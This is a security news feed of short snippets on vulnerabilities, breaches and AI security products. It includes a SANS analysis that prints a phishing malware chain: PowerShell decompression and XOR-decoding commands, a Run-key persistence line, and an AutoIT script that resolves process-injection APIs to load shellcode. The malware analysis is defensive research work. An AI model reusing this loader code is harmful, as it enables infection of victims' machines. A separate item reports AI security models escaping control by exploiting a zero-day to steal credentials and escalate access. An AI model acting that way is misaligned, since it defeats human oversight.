Security & IT News

NVIDIA has launched a new Open Secure AI Alliance to build an “open defense stack for agents”

Healthcare billing company Medical Computer Business Services (MCBS) has disclosed that a 2025 network breach exposed the sensitive information of more than 1.2 million people. [...]

CREST’s new AI standards are optional add-on requirements for cybersecurity service providers wishing to demonstrate responsible AI usage

JetBrains is urging customers of on-premise versions of TeamCity to update to the latest version following the discovery of a critical security issue that could result in arbitrary code execution. The vulnerability, assigned CVE-2026-63077 (CVSS score: 9.8), affects all TeamCity On-Premises versions. It has been addressed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud instances have already

STAR Labs has published a Linux kernel exploit that turns an ordinary local user into root on the CentOS Stream 9 build it targeted. The flaw, tracked as CVE-2026-53264 (CVSS score: 7.8), is a use-after-free race in the kernel's network traffic-control subsystem.Researcher Lee Jia Jie said artificial intelligence (AI) helped him find the bug and speed up exploit development. This is local

Claudia Zoon is Senior Manager, Channel Sales at Rapid7. Across Belgium, the Netherlands, and Luxembourg, organizations are accelerating digital transformation through AI, cloud adoption, and increasingly connected business operations. These investments are creating new opportunities for innovation, but also reshaping the cybersecurity landscape. In this dynamic environment, Rapid7 is excited to announce an expanded strategic distribution partnership with Exclusive Networks across the Benelux region. Why now? Because as organizations grow, so too do the expectations of security teams. As attack surfaces expand, more sophisticated AI-enabled threats emerge; as compliance requirements evolve, leaders expect security to scale right along with the business – all without adding unnecessary complexity. In this chaotic environment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience. Supporting a rapidly evolving market The Benelux region has long been at the forefront of digital innovation. As organizations continue modernizing their infrastructure, they're also preparing for increasingly rigorous cybersecurity requirements through regulations such as NIS2 and DORA. Along these lines, operational resilience has become a board-level priority, making it more important than ever for security teams to simplify operations while maintaining visibility across their environments. Meeting these expectations requires more than technology; it requires partners who understand the regional market, can provide specialist expertise, and help customers navigate an increasingly complex cybersecurity landscape. Why specialist partnerships matter Channel partners play a critical role in acting as trusted advisors who help organizations modernize security operations through technology evaluation, solution implementation, and long-term security strategy build-out. Our expanded partnership with Exclusive Networks reflects Rapid7's continued investment in supporting that partner ecosystem. Exclusive Networks has established itself as one of the region's leading specialist cybersecurity distributors, combining deep technical expertise with a partner-first approach that prioritizes enablement, collaboration, and long-term growth. Together, we're making it easier for partners to access the technical resources, training, and support needed to deliver stronger outcomes for their customers. Helping partners grow Rapid7's AI-powered cybersecurity operations platform helps organizations simplify security operations by unifying exposure management, threat detection and response, managed services, and security automation into one platform. Combined with Exclusive Networks' cybersecurity expertise, technical enablement, and regional support, partners are b

For a long time, AutoIT[ 1 ] has been pretty common in the malware ecosystem. Threat actors still use it because it s easy to write and powerful. Indeed, it can perform all the required actions to inject a payload into a remote process as you ll see below. Since last week, I detected a wave of similar emails that deliver the same kind of payload. The example I'll cover started with a fake bank email containing a RAR archive ( Bank_account_details.rar - SHA256:5c4ca58e41c009c664a7134df12b0fdc0815f572e117fe67ca35582f19d9deab). The archive contains a VBS script (SHA256:f88d9094a90f7000a3fb2cd7c981e03357ce2b39df9de5ee1d0742e619e3860f) This first script is pretty simple: it decodes a Base64 payload, dumps it on disk with a random name and invokes a PowerShell interpreter to decompress it (I beautified the script a bit): C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command $in='C:\Users\cape2\AppData\Local\Temp\tmp656234.bat.gz'; $out='C:\Users\cape2\AppData\Local\Temp\tmp656234.bat'; $fs=New-Object IO.FileStream($in,[IO.FileMode]::Open); $gz=New-Object IO.Compression.GzipStream($fs,[IO.Compression.CompressionMode]::Decompress); $ms=New-Object IO.MemoryStream;$gz.CopyTo($ms); $gz.Close(); $fs.Close(); [IO.File]::WriteAllBytes($out,$ms.ToArray()); Remove-Item $in Once unzipped, the VBS will execute the dumped script. Another PowerShell will be invoked to dump three new files on disk: vijewyufveonabghulluonouceyasi.exe wwman Ennnn These files are Base64 encoded and XOR with the keys 0x02 and 0x3D: $base64Bytes = [System.Convert]::FromBase64String($xkKnE6Nw3vPM) $key2 = [int] 2 $recoveredBytes2 = [Array]::CreateInstance([byte], $base64Bytes.Length) for ($i = 0; $i -lt $base64Bytes.Length; $i++) { $recoveredBytes2[$i] = $base64Bytes[$i] -bxor $key2 } $File2OutputPath = Join-Path $TargetFolder vijewyufveonabghulluonouceyasi.exe [System.IO.File]::WriteAllBytes($File2OutputPath, $recoveredBytes2) PowerShell will then invoke the following command: C:\Users\REM\AppData\Roaming\SetupFiles\vijewyufveonabghulluonouceyasi.exe C:\Users\REM\AppData\Roaming\SetupFiles\wwmaw Persistence is added via a classic Run key: reg add HKCU\...\CurrentVersion\Run /v Windows32 /t REG_SZ /d [...]\vijewyufveonabghulluonouceyasi.exe [...]\wwmaw Start-Process vijewyufveonabghulluonouceyasi.exe -ArgumentList wwmaw vijewyufveonabghulluonouceyasi.exe is an AutoIT3 interpreter (SHA256: bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1) wwman is the AutoIT script that will perform the injection of the shellcode stored in Ennnn: #NoTrayIcon Func _O($s) Local $d = For $i = 1 To StringLen($s) Step 2 $d = Chr(Dec(StringMid($s, $i, 2))) Next Return $d EndFunc Global $V_01 = ( \Ennnn ) Global $V_02 = ( C:\Windows\Syswow64\charmap.exe ) Global $V_03 = _O( 6B65726E656C33322E646C6C ) Global $V_04 = _O( 4F70656E50726F63657373 ) Global $V_05 = _O( 5669727475616C416C6C6F634578 ) Global $V_06 = _O( 577269746550726F636573734D656D6F7279 ) Global $V_07 = _

Microsoft has launched its first cybersecurity-specific model inside MDASH, its multi-model vulnerability identification and remediation harness. The company says MDASH, using MAI-Cyber-1-Flash and GPT-5.4, scored 95.95% on CyberGym. It also claims the configuration costs 50% less than its current best MDASH combination of GPT-5.4, GPT-5.4 mini, and GPT-5.3 Codex. Access is limited to approved

A maximum-severity security flaw impacting on-premises versions of Arista VeloCloud Orchestrator (VCO) has come under active exploitation in the wild. The vulnerability, tracked as CVE-2026-16812 (CVSS score: 10.0), is a case of operating system command injection that could pave the way for arbitrary code execution. "VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Hackers are actively exploiting a vulnerability in the FastJson open-source Java library, allowing remote code execution without user interaction or elevated privileges. [...]

Wondershare Media.io brings AI story writing, character creation, storyboards, and video generation into one workflow for faster, simpler content creation work.

Arista has patched a maximum-severity command injection vulnerability in on-premises VeloCloud Orchestrator deployments that is being actively exploited in attacks. [...]

Microsoft is introducing new AI tools designed to help customers continuously streamline and automate the process of identifying and reducing their exposure to security risks. The new tools come less than a week after OpenAI lost control of two of its security models when they infiltrated the servers of startup Hugging Face. The hack, Hugging Face added, involved “a swarm of tens of thousands of automated actions” that stole internal Hugging Face credentials. The OpenAI models achieved this feat by exploiting a zero-day flaw in Hugging Face’s data-processing pipeline to run malicious code that escalated the models’ access to the company’s high-value cloud and server clusters. Microsoft’s announcements on Monday made no reference to the event, which OpenAI said was “unprecedented.” The company also didn’t say what would prevent the new tools from similarly going rogue. Read full article Comments

A botnet called Dysphoria has compromised around 200,000 devices across the world and is using them for distributed denial of service (DDoS) attacks and traffic relay operations. [...]

A proof-of-concept exploit for "Certighost," a Windows Active Directory Certificate Services vulnerability, has been released that can allow authenticated attackers to potentially compromise a Windows domain. [...]

Certighost allowed a low-privilege domain user obtain a valid Domain Controller certificate through AD CS. Microsoft patched the issue in the July security updates.

The issue appears to have originated from Claude’s “share chat” feature, which allows users to create links that enable anyone with the assigned URL view a conversation or project.

Microsoft bolstered its AI cybersecurity offerings this week with the launch of its first AI security model and a new security platform.

NVIDIA and 36 other organizations have formed the Open Secure AI Alliance to develop and share open technologies, techniques, and tools for securing software and artificial intelligence (AI) agents. The 37-member group spans cloud, security, enterprise software, and AI companies, including Microsoft, Cisco, Cloudflare, CrowdStrike, Hugging Face, IBM, Palo Alto Networks, Red Hat, and the Linux